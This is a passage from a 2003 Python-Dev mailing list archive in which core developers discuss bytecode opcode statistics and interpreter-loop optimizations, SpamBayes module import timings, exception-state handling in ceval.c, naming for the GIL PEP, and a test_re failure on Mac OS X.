LOAD_CONST(EMPTY_STR) Some stats about the number of constants and locals used in functions 97% of functions use 16 or less constants 83% of functions use 8 or less constants http://www.bitfurnace.com/python/stats-func-consts.txt 98% of functions use 16 or less locals 85% of functions use 8 or less locals http://www.bitfurnace.com/python/stats-func-locals.txt Id like to propose the following opcodes be added (I suggest n=15) LOAD_CONST_[0..n] LOAD_FAST_[0..n] STORE_FAST_[0..n] DELETE_FAST_[0..n] Some stats about instruction traces Please see the following links for detailed stats http://www.bitfurnace.com/python/stats-traces-original.txt http://www.bitfurnace.com/python/stats-traces-modified.txt The second file contains stats on instruction traces incorporating the proposed changes The score column, in both files, is computed by multiplying the frequency by the length of the trace Id like to propose the following opcodes, which should reduce number of bytecode instructions used by 20%: RETURN_FAST == LOAD_FAST, RETURN_VALUE RETURN_CONST == LOAD_CONST, RETURN_VALUE LOAD_FAST+1 == LOAD_FAST, LOAD_FAST STORE_FAST+1 == STORE_FAST, STORE_FAST POP_TOP+1 == POP_TOP, POP_TOP POP_TOP+2 == POP_TOP, POP_TOP, POP_TOP BRANCH_IF == COMPARE_OP, JUMP_IF_FALSE, POP_TOP Notes: LOAD_FAST+1 and STORE_FAST+1 could be implemented as a 1 byte instruction code followed by two nibbles encoding the local index numbers. See above for a discussion of local variable index numbers. BRANCH_IF could be implimented as a set of opcodes, one for each of the possible compare_ops From skip@pobox.com Tue Feb 25 22:52:01 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 16:52:01 -0600 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: <20030225221042.D1D932DDC2@cashew.wolfskeep.com> References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> <15963.57541.244513.169979@montanaro.dyndns.org> <20030225221042.D1D932DDC2@cashew.wolfskeep.com> Message-ID: <15963.62353.100645.550074@montanaro.dyndns.org> Alex> This is good info. Can you add in the time intervals between Alex> loading each of the modules? That might point out which modules Alex> are actually expensive (or if it's none in particular). Okay, here's a bit more information. I instrumented hammiefilter.py with code like marker = 0 import os file("os%d"%marker,"w"); os.unlink("os%d"%marker); marker+=1 import sys file("sys%d"%marker,"w"); os.unlink("sys%d"%marker); marker+=1 import getopt file("getopt%d"%marker,"w"); os.unlink("getopt%d"%marker); marker+=1 from spambayes import hammie, Options, mboxutils file("hammie%d"%marker,"w"); os.unlink("hammie%d"%marker); marker+=1 then scored a single message under ktrace control and dumped the ktrace data with timestamps. (This could just have easily have been done with time.clock() or time.time() calls, but after awhile of staring at ktrace results, this seemed just as easy.) The instrumentation gave me a larger number of smaller intervals with these meanings: interval time start through first import (os) 0.166 import sys < 0.001 import getopt 0.055 import hammie, Options, mboxutils 0.660 (!!!) to start of HammieFilter class defn < 0.001 to start of main() < 0.001 create HammieFilter instance 0.005 parse cmd line options < 0.001 get msg from stdin 0.006 score msg 0.224 write scored msg to stdout 0.002 Focusing on the hammie-related imports, I split that import into three lines, reinstrumented and ran it again. Those individual imports then expanded to import hammie 0.340 import Options < 0.001 import mboxutils < 0.001 (As you can see, the times are only relative (large vs small) and don't seem to be all that reproducible across individual runs.) One more marker insertion pass, this time in hammie.py, yielded these intervals from that file: import mboxutils 0.215 import storage 0.072 import options < 0.001 import tokenize 0.052 define Hammie class < 0.001 define open function < 0.001 It appears something in the mboxutils import is the culprit. I'm about to go home for the day though, so I'll let others pick up from there. Skip From tismer@tismer.com Tue Feb 25 22:55:01 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 23:55:01 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: References: Message-ID: <3E5BF445.5050105@tismer.com> Kevin Jacobs wrote: ... > I've uploaded a patch to SF: > > http://www.python.org/sf/693195 > > It turns out that ceval.c:reset_exc_info was a red herring and did not do > what we wanted. Luckily, the correct behavior is fairly trivial (although > the interaction between set_exc_info and reset_exc_info had me seeing > cross-eyed for a few minutes). I had a look at your patch. Here a small analysis: In essence, it is doing exactly the same as PyErr_Restore(NULL, NULL, NULL) from errors.c, with the difference that it is acting on sys.exc_(type, value, traceback) instead of sys.curexc_(type, value, traceback). I just want to make sure that this is what we want to do. The rest of reset_exc_info restores an exception that has been captured in the frame, before. The counterpart is set_exc_info, which is called only if an exception handler is executed. The frame then saves a prior exception from tstate to local variables and sets a new exception into tstate. I have no real clue what should happen if this occours multiple times -- the frame will only accept one such exception to save. Ah, I see: This is meant to be an exception which originated in the caller of the function, and the frame is just supposed to save the caller's exception, in case it is itself called in an exception handler! The action on return is to drop the current exception, since it has been handled, and to restore the caller's exception, if this exists. There is also a small trick here: set_exc_info assigns Py_None to tstate->exc_type, if it has been NULL. This is then assigned to the local variables of the frame. The side effect of this trick is, that after set_exc_info has been called once, reset_exc_info always will think that it has to restore, even if there is just a None-Exception. The side effect is, that the frame's variables always will be cleared out on a return. Well, this code could stand a few more comments ;-) Ok, what I understood now is, that this extra action of reset_exc_info is really not what we need here, this is about restoring the caller's exception. But we are not concerned with the caller here, since we stay in the current frame. We just want to clear the current exception in tstate, and I think your code does the right thing. +1 cheers -- chris p.s.: I would probably have done the exception saving in the caller's frame, where it belongs, IMHO. -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From skip@pobox.com Tue Feb 25 22:59:03 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 16:59:03 -0600 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <003101c2dd1c$04214ff0$6401a8c0@damien> References: <003101c2dd1c$04214ff0$6401a8c0@damien> Message-ID: <15963.62775.518821.659618@montanaro.dyndns.org> Damien> Ive done a static analysis of the bytecodes from compiling the Damien> python standard library: ... Nice input, but I think you should deal with dynamic opcode frequencies. See the #define's in the ceval.c source for how to enable that and the recent thread in c.l.py. In short, it doesn't really matter how many LOAD_CONST instructions appear in the bytecode stream, only how many of them are executed. While LOAD_CONST is a relatively frequently executed opcode, if I recall correctly, LOAD_FAST is much more frequently executed, and LOAD_CONST is already pretty fast, so adding special opcodes probably won't buy you much and runs the risk of disturbing what locality of reference exists. The LOAD_IF_FALSE issue was discussed recently (here I think). The problem is that chained operations like if a < b < c: ... require the value be retained. You could get rid of the separate POP_TOP instruction but it would require some work in the compiler. as-always-patches-are-welcome-ly, y'rs, Skip From mhammond@skippinet.com.au Tue Feb 25 22:59:34 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Wed, 26 Feb 2003 09:59:34 +1100 Subject: [Python-Dev] GIL Pep commentary In-Reply-To: Message-ID: <001f01c2dd21$91339010$530f8490@eden> > I just started looking over the GIL pep > http://www.python.org/peps/pep-0311.html. Looks pretty nice to me so > far! I have these remarks: Great! > "This API will not perform automatic initialization of Python, or > initialize Python for multi-threaded operation. Extension authors > must continue to call Py_Initialize(), and for multi-threaded > applications, PyEval_InitThreads()." > > This is liable to confuse people (like me) who have never had to do > Py_Initialize or PyEval_InitThreads in their extension modules. Good point. I will change "Extension Authors" to "Applications which embed Python" > "It is intended that this API be all that is necessary to acquire > the Python GIL. Apart from the existing, standard > Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is > assumed that no additional thread state API functions will be used > by the extension. Extensions with such complicated requirements > are free to continue to use the existing thread state API." > > This sounds like it's saying you can't use any of the old thread API > functions if you use the new ones. Is that right? If so, I think it > should be made more explicit. Seems a bit draconian, though I admit I > don't know what other thread API functions people might want. That is kind-of what I mean . My concern is simply that I did not want to make this code totally bullet-proof in the face of all the tricks that can be pulled with the existing thread-state API. For example, the existing API allows you to switch as many different thread-states in for a single thread that you desire. I am really not sure what my patch would do if the developer goes and swaps thread-states underneath our API. I guess all I am saying is: If you use other thread-state APIs in conjunction with this new API, it is your responsibility to make sure everything works! > Good job, Mark! Thanks! And while we are here, do you have any suggestions for the name, as per the start of the PEP? I am starting to think PyThreadState_Ensure() and PyThreadState_Release() are good enough names. The only problem is that they are not really part of the same "family" as the other PyThreadState_* functions, and thus people may assume they can mix-and-match them. OTOH, they clearly are ThreadState related functions, so are at least cousins to the rest of them! As far as I can tell, there are no technical issues remaining in this PEP - only naming and clarification. Does anyone disagree with that? Keen-to-get-this-in-2.3 ly, Mark. From skip@pobox.com Tue Feb 25 23:12:59 2003 From: skip@pobox.com (Skip Montanaro) Date: Tue, 25 Feb 2003 17:12:59 -0600 Subject: [Python-Dev] test_re failing again on Mac OS X Message-ID: <15963.63611.477907.286500@montanaro.dyndns.org> I notice that test_re is failing with a recursion depth limit error on Mac OS X, but only when run under regrtest.py. Running plain works: % ./python.exe ../Lib/test/test_re.py Running re_tests test suite Running from regrtest fails: % ./python.exe ../Lib/test/regrtest.py test_re test_re test test_re produced unexpected output: ********************************************************************** *** line 2 of expected output missing: - maximum recursion limit exceeded ********************************************************************** 1 test failed: test_re Cranking the stack limit up as high as 32MB didn't help, though I don't suppose it should have, given the error message. Bumping the recursion limit up as high as 20000 didn't help either. Anybody else seen this? Skip From guido@python.org Tue Feb 25 23:14:13 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 18:14:13 -0500 Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings In-Reply-To: Your message of "Tue, 25 Feb 2003 16:52:01 CST." <15963.62353.100645.550074@montanaro.dyndns.org> References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> <15963.57541.244513.169979@montanaro.dyndns.org> <20030225221042.D1D932DDC2@cashew.wolfskeep.com> <15963.62353.100645.550074@montanaro.dyndns.org> Message-ID: <200302252314.h1PNEDS18031@odiug.zope.com> Note that spambayes/mboxutils.py imports email.Message, which effectively imports the entire email package. That's a lot of code (one file per class). --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Tue Feb 25 23:19:18 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 00:19:18 +0100 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <003101c2dd1c$04214ff0$6401a8c0@damien> References: <003101c2dd1c$04214ff0$6401a8c0@damien> Message-ID: <3E5BF9F6.1@tismer.com> Damien Morton wrote: > Ive done a static analysis of the bytecodes from compiling the python > standard library: > > Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 > > > Some stats about JUMP_IF_FALSE opcodes > > Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on > both branches. > > Id like to propose that JUMP_IF_FALSE consume the top-of-stack. I'm all against changing existing opcodes for a minor speed-up. Real speed-up is available by a specializing compiler which turns things into real code. If you really want to change the engine, I would consider to emit an extra opcode and try how the change performs against a couple of applications. I doubt the effect, since the little POP_TOP is pretty fast. Where you really can save some time is to shortcut some of the very short opcodes to not jump back to the ticker counting code, but into a shorter circle. This avoids quite some register moves and gives some local optimization possibilities. I would anyway suggest not to change the semantics of existing opcodes for just little win. ... > Id like to propose the following opcodes be added > LOAD_CONST(NONE) > LOAD_CONST(1) > LOAD_CONST(0) > LOAD_CONST(EMPTY_STR) I'd be careful here, too. The interpreter loop is quite large, already, and there is a good chance to loose locality of reference by adding a little bit of code. I had that several times. You don't think you changed much, but where are these 10 percent gone now? Not trying to demoralize you completely, but there are limits about what can be gathered by optimizing the interpreter loop. There was once the p2c project, which gave an overall improvement of 25-40 percent, by totally removing the interpreter loop. Since I knew that, I stopped wasting brain cycles on optimizing it, because the possible win is not really promising. There are much better ways to speed Python up. One is to completely rewrite Python in Python and applying a specializing compiler to everything. This is what we are trying on pypy-dev. cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From dmorton@bitfurnace.com Tue Feb 25 23:17:22 2003 From: dmorton@bitfurnace.com (damien morton) Date: Tue, 25 Feb 2003 18:17:22 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <15963.62775.518821.659618@montanaro.dyndns.org> Message-ID: <003201c2dd24$0e0c6650$6401a8c0@damien> > From: Skip Montanaro [mailto:skip@pobox.com] > > Damien> Ive done a static analysis of the bytecodes from > compiling the > Damien> python standard library: > > ... > > Nice input, but I think you should deal with dynamic opcode > frequencies. See the #define's in the ceval.c source for how > to enable that and the recent thread in c.l.py. In short, it > doesn't really matter how many LOAD_CONST instructions appear > in the bytecode stream, only how many of them are executed. > While LOAD_CONST is a relatively frequently executed opcode, > if I recall correctly, LOAD_FAST is much more frequently > executed, and LOAD_CONST is already pretty fast, so adding > special opcodes probably won't buy you much and runs the risk > of disturbing what locality of reference exists. I will indeed take a look at dynamic opcode frequencies. This is my first stab at it, though. I had originaly taken a look at this from a code compression perspective. The proposals I made should result in a non-trival reduction in the size of the compiled bytecodes. This, in turn should result in _some_ speedup. As you say, LOAD_FAST is a very frequently occuring instruction, both statically and dynamically. Reducing it from a 3 byte instruction to a 1 byte instruction in 97% of (static) cases should be an overall good. Most of the opcodes I proposed could be added without disturbing locality of reference. e.g. switch (op = *p++) { ... case LOAD_FAST: index = (*p++) + (*p++)<<8 goto LOAD_FAST_MAIN; break; case LOAD_FAST_0: case LOAD_FAST_1: case LOAD_FAST_15: index = op - LOAD_FAST_0 LOAD_FAST_MAIN: ... break; } > The LOAD_IF_FALSE issue was discussed recently (here I > think). The problem is that chained operations like > > if a < b < c: > ... > > require the value be retained. You could get rid of the > separate POP_TOP instruction but it would require some work > in the compiler. Those kind of chained operations are by far the minority (20% of static cases). They can be handled by a DUP instruction before the JUMP opcode, or a separate non-consuming JUMP opcode can be created. > as-always-patches-are-welcome-ly, y'rs, > > Skip > not-quite-ready-to-push-my-hands-in-up-to-the-elbows-ly, yours Damien From jacobs@penguin.theopalgroup.com Tue Feb 25 23:21:10 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Tue, 25 Feb 2003 18:21:10 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5BF445.5050105@tismer.com> Message-ID: On Tue, 25 Feb 2003, Christian Tismer wrote: > We just want to clear the current exception in tstate, > and I think your code does the right thing. > > +1 Thanks for checking through the logic. > p.s.: I would probably have done the exception saving > in the caller's frame, where it belongs, IMHO. I'm going to see if this is feasible. The current method is almost certainly more efficient, but seems very backwards. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From nas@python.ca Tue Feb 25 23:50:37 2003 From: nas@python.ca (Neil Schemenauer) Date: Tue, 25 Feb 2003 15:50:37 -0800 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <3E5BF9F6.1@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> Message-ID: <20030225235036.GA16820@glacier.arctrix.com> Christian Tismer wrote: > Where you really can save some time is to shortcut some > of the very short opcodes to not jump back to the ticker > counting code, but into a shorter circle. 2.2 -> 2.3 includes this optimization for some opcodes. > Not trying to demoralize you completely, but there are > limits about what can be gathered by optimizing the > interpreter loop. There was once the p2c project, which > gave an overall improvement of 25-40 percent, by totally > removing the interpreter loop. Yes, but p2c was probably not nice to the icache. I doubt 25-40% is an upper bound. Memory bandwidth really sucks now (relatively speaking). I think reference counting is now starting to look like a smart design (in terms of performance). :-) Neil From greg@cosc.canterbury.ac.nz Tue Feb 25 23:59:21 2003 From: greg@cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 26 Feb 2003 12:59:21 +1300 (NZDT) Subject: [Python-Dev] module extension search order - can it be changed? In-Reply-To: <200302252042.h1PKgjZ08619@odiug.zope.com> Message-ID: <200302252359.h1PNxLc13318@oma.cosc.canterbury.ac.nz> Guido: > Someone: > > Speaking entirely from a point of ignorance, why are the source line #s > > not shown for frames that are implemented in modules loaded from > > zipimport? > > Because the code printing the tracebacks doesn't know how to look > inside a zip file. Maybe, if the source file can't be found, it could decompile the bytecode? Greg Ewing, Computer Science Dept, +--------------------------------------+ University of Canterbury, | A citizen of NewZealandCorp, a | Christchurch, New Zealand | wholly-owned subsidiary of USA Inc. | greg@cosc.canterbury.ac.nz +--------------------------------------+ From tismer@tismer.com Wed Feb 26 00:10:34 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 01:10:34 +0100 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <20030225235036.GA16820@glacier.arctrix.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <20030225235036.GA16820@glacier.arctrix.com> Message-ID: <3E5C05FA.2090008@tismer.com> Neil Schemenauer wrote: > Christian Tismer wrote: > >>Where you really can save some time is to shortcut some >>of the very short opcodes to not jump back to the ticker >>counting code, but into a shorter circle. > > > 2.2 -> 2.3 includes this optimization for some opcodes. Oh! *blush* I should read more of this :-) >>Not trying to demoralize you completely, but there are >>limits about what can be gathered by optimizing the >>interpreter loop. There was once the p2c project, which >>gave an overall improvement of 25-40 percent, by totally >>removing the interpreter loop. > > > Yes, but p2c was probably not nice to the icache. I doubt 25-40% is > an upper bound. Memory bandwidth really sucks now (relatively > speaking). I think reference counting is now starting to look like a > smart design (in terms of performance). :-) Yes, it created lots of code, and for sure, code repetition can be helpful, if the relevant pieces are kept tightly together. But I still doubt bigger improvements, since most of the time is spent in the C library code. You need to optimize this away, too. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Wed Feb 26 00:17:31 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 01:17:31 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: References: Message-ID: <3E5C079B.8050309@tismer.com> Kevin Jacobs wrote: > On Tue, 25 Feb 2003, Christian Tismer wrote: > >>We just want to clear the current exception in tstate, >>and I think your code does the right thing. >> >>+1 > > > Thanks for checking through the logic. > > >>p.s.: I would probably have done the exception saving >>in the caller's frame, where it belongs, IMHO. > > > I'm going to see if this is feasible. The current method is almost > certainly more efficient, but seems very backwards. No, I didn't refer to your code, but just to the implementation of (re)set_exc_info. I would have understood this much easier, if the saved exception were saved in the caller's frame. I'm not proposing a change, but maybe a comment, why this must be saved. Yes, probably it is most efficient to do it as it is. (Although functions called in an exception context are probably not the normal case which needs to be optimal). Saving and restoring things in the callee which belong to the caller just doesn't look very clean, and I now also understand certain problems with old Stackless, where this probably caused errors which were never resolved, simply because I didn't understand this. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From bac@OCF.Berkeley.EDU Wed Feb 26 00:29:14 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Tue, 25 Feb 2003 16:29:14 -0800 (PST) Subject: [Python-Dev] test_re failing again on Mac OS X In-Reply-To: <15963.63611.477907.286500@montanaro.dyndns.org> References: <15963.63611.477907.286500@montanaro.dyndns.org> Message-ID: [Skip Montanaro] > I notice that test_re is failing with a recursion depth limit error on Mac > OS X, but only when run under regrtest.py. Running plain works: > Anybody else seen this? > I compiled at 22:54 PT yesterday and didn't have any problems running regrtest.py. I also just updated my CVS copy and didn't see any re-related files updated. I will recompile right now and run the regrtest.py to be really sure, though. -Brett From jacobs@penguin.theopalgroup.com Wed Feb 26 00:42:21 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Tue, 25 Feb 2003 19:42:21 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5C079B.8050309@tismer.com> Message-ID: On Wed, 26 Feb 2003, Christian Tismer wrote: > >>p.s.: I would probably have done the exception saving > >>in the caller's frame, where it belongs, IMHO. > > > > I'm going to see if this is feasible. The current method is almost > > certainly more efficient, but seems very backwards. > > No, I didn't refer to your code, but just to the > implementation of (re)set_exc_info. Actually, we're on the same page. > I would have understood this much easier, if the saved exception were > saved in the caller's frame. I'm not proposing a change, but maybe a > comment, why this must be saved. Yes, probably it is most efficient to do > it as it is. (Although functions called in an exception context are > probably not the normal case which needs to be optimal). Exactly. This is why I'm fairly certain that nobody looks at the frame.f_exc_* values, since they make no sense in the context of that frame. It should be trivial to dereference the traceback to find the generating frame and stow the values there. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From bac@OCF.Berkeley.EDU Wed Feb 26 00:46:41 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Tue, 25 Feb 2003 16:46:41 -0800 (PST) Subject: [Python-Dev] test_re failing again on Mac OS X In-Reply-To: References: <15963.63611.477907.286500@montanaro.dyndns.org> Message-ID: [Brett Cannon] > [Skip Montanaro] > > > I notice that test_re is failing with a recursion depth limit error on Mac > > OS X, but only when run under regrtest.py. Running plain works: > > > Anybody else seen this? > > > I will recompile right now and run the regrtest.py to be really sure, > though. > Still no issues. I think you are just special, Skip. =) -Brett From guido@python.org Wed Feb 26 01:22:44 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 20:22:44 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: "Your message of Wed, 26 Feb 2003 00:19:18 +0100." <3E5BF9F6.1@tismer.com> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> Message-ID: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> > > Some stats about JUMP_IF_FALSE opcodes > > > > Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on > > both branches. > > > > Id like to propose that JUMP_IF_FALSE consume the top-of-stack. > > I'm all against changing existing opcodes for a minor > speed-up. Real speed-up is available by a specializing > compiler which turns things into real code. If you are referring Psyco, I expect that it is several years before maturity. Currently it uses too much memory to be realistic. > If you really want to change the engine, I would consider > to emit an extra opcode and try how the change performs > against a couple of applications. I doubt the effect, since > the little POP_TOP is pretty fast. OTOH, compared to the work that POP_TOP does, the work of decoding the opcodes is significant. > Where you really can save some time is to shortcut some > of the very short opcodes to not jump back to the ticker > counting code, but into a shorter circle. This avoids > quite some register moves and gives some local optimization > possibilities. Some of that is already done (these say 'continue' instead of 'break'). But I'm sure more can be done. > I would anyway suggest not to change the semantics of > existing opcodes for just little win. Why not? The opcodes are an internal detail of the PVM, and they change a bit with almost every Python version. > ... > > > Id like to propose the following opcodes be added > > LOAD_CONST(NONE) > > LOAD_CONST(1) > > LOAD_CONST(0) > > LOAD_CONST(EMPTY_STR) > > I'd be careful here, too. The interpreter loop is quite > large, already, and there is a good chance to loose > locality of reference by adding a little bit of code. > I had that several times. You don't think you changed > much, but where are these 10 percent gone now? Agreed. This adds more cases to the switch and doesn't reduce the number of opcodes to be decoded (it only reduces the number of bytes per opcode, a very meagre gain indeed). > Not trying to demoralize you completely, but there are > limits about what can be gathered by optimizing the > interpreter loop. There was once the p2c project, which > gave an overall improvement of 25-40 percent, by totally > removing the interpreter loop. Yes, that's an upper bound for what you can gain by fiddling upcodes. There are other gains possible though. The PVM isn't just the switch in ceval.c: it is also all the object implementations. While most are pretty lean, there's still fluff, e.g. in the lookup of builtins (SF patch 597907). --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 26 01:24:07 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 20:24:07 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: "Your message of Tue, 25 Feb 2003 18:21:10 EST." References: Message-ID: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net> > > p.s.: I would probably have done the exception saving > > in the caller's frame, where it belongs, IMHO. > > I'm going to see if this is feasible. The current method is almost > certainly more efficient, but seems very backwards. Watch out though. There are situations where an exception needs to be stored but no frame is available (when executing purely in C). There is always a thread state. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Wed Feb 26 01:25:11 2003 From: guido@python.org (Guido van Rossum) Date: Tue, 25 Feb 2003 20:25:11 -0500 Subject: [Python-Dev] Bytecode analysis In-Reply-To: "Your message of Tue, 25 Feb 2003 18:17:22 EST." <003201c2dd24$0e0c6650$6401a8c0@damien> References: <003201c2dd24$0e0c6650$6401a8c0@damien> Message-ID: <200302260125.h1Q1PB516246@pcp02138704pcs.reston01.va.comcast.net> > As you say, LOAD_FAST is a very frequently occuring instruction, both > statically and dynamically. Reducing it from a 3 byte instruction to a 1 > byte instruction in 97% of (static) cases should be an overall good. > > Most of the opcodes I proposed could be added without disturbing > locality of reference. > > e.g. > > switch (op = *p++) { > ... > case LOAD_FAST: > index = (*p++) + (*p++)<<8 > goto LOAD_FAST_MAIN; > break; > case LOAD_FAST_0: > case LOAD_FAST_1: > case LOAD_FAST_15: > index = op - LOAD_FAST_0 > LOAD_FAST_MAIN: > ... > break; > > > } Good idea. Can you benchmark this? --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Wed Feb 26 02:09:36 2003 From: tismer@tismer.com (Christian Tismer) Date: Wed, 26 Feb 2003 03:09:36 +0100 Subject: [Python-Dev] Bytecode analysis In-Reply-To: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E5C21E0.5010003@tismer.com> Guido van Rossum wrote: [Chris (not the bot)] > I'm all against changing existing opcodes for a minor > speed-up. Real speed-up is available by a specializing > compiler which turns things into real code. [Guido] > If you are referring Psyco, I expect that it is several years before > maturity. Currently it uses too much memory to be realistic. You are probably right about maturity, but I don't think it will be years. In a month, he will be able to work full-time on this, and I just spent a week with him on the PyPy sprint and saw a genious fly... amazing! ... > OTOH, compared to the work that POP_TOP does, the work of decoding the > opcodes is significant. Good point. >>Where you really can save some time is to shortcut some >>of the very short opcodes to not jump back to the ticker >>counting code, but into a shorter circle. This avoids >>quite some register moves and gives some local optimization >>possibilities. > > > Some of that is already done (these say 'continue' instead of > 'break'). But I'm sure more can be done. Hey, this is amazing! This was kind of the stuff that I did to the interpreter couple of years ago, where you really disliked anybody hacking on the core for saving some cycles. Now I see this evolve from alone, with some pleasure. Every path that I can dispose with is a good patch. :-) >>I would anyway suggest not to change the semantics of >>existing opcodes for just little win. > > > Why not? The opcodes are an internal detail of the PVM, and they > change a bit with almost every Python version. Maybe I've become a bit conservative, trying to keep more compatibility between versions than necessary. There have been opcode changes from time to time, but semantics were never changed, and new opcodes were always added to the end of the table, so I thought you wanted to avoid unneccessary changes to dis.dis and friends, and maybe stay able to run older .pycs with newer interpreters, but I really don't insist. I just found a minor speedup not worth the change at all. (Hey did you expect such words from me? :-) [locality of reference and possible code bloat] > Agreed. This adds more cases to the switch and doesn't reduce the > number of opcodes to be decoded (it only reduces the number of bytes > per opcode, a very meagre gain indeed). Well, if we are going to refactor opcodes, it might be worth considering to do changes that both don't increase the number of opcodes to be executed (shorten the code objects) and don't increase the number of opcodes to be distinguished. Modifying the JUMP_IF_XXX is towards this goal. There was this other proposal of CALL_METHOD (or so), which adds an opcode but shortens interpretation and code size. Maybe it makes sense to get rid of some more seldomly used opcodes like BUILD_CLASS, which could be replaced by a regular call to a special function? EXEC_STMT is a candidate as well. This is used not so often and could be a special function call. All the PRINT_XXX opcodes are doing some time consuming stuff, so we could replace them by special function calls, since the overhead doesn't count here. They do not need to sit in the big switch. These were just some random ideas. There are time critical, often used opcodes, together with seldomly used ones, which take quite some time, anyway. While compressing patterns of the frequently used ones into fast combined opcodes (CALL_METHOD, JUMP_IF_XXX with pop), the space of others can be reclaimed. >>Not trying to demoralize you completely, but there are >>limits about what can be gathered by optimizing the >>interpreter loop. There was once the p2c project, which >>gave an overall improvement of 25-40 percent, by totally >>removing the interpreter loop. > > > Yes, that's an upper bound for what you can gain by fiddling upcodes. Which made opcode optimization rather pointless for me, and I stopped hacking on this. > There are other gains possible though. The PVM isn't just the switch > in ceval.c: it is also all the object implementations. While most are > pretty lean, there's still fluff, e.g. in the lookup of builtins (SF > patch 597907). And specialized string-only namespaces, cached method lookups, melting down local variables into primitive C types, ... there are tons of stuff which I could add, but I don't want to try this in C. Python is much better for prototyping. :-) cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> 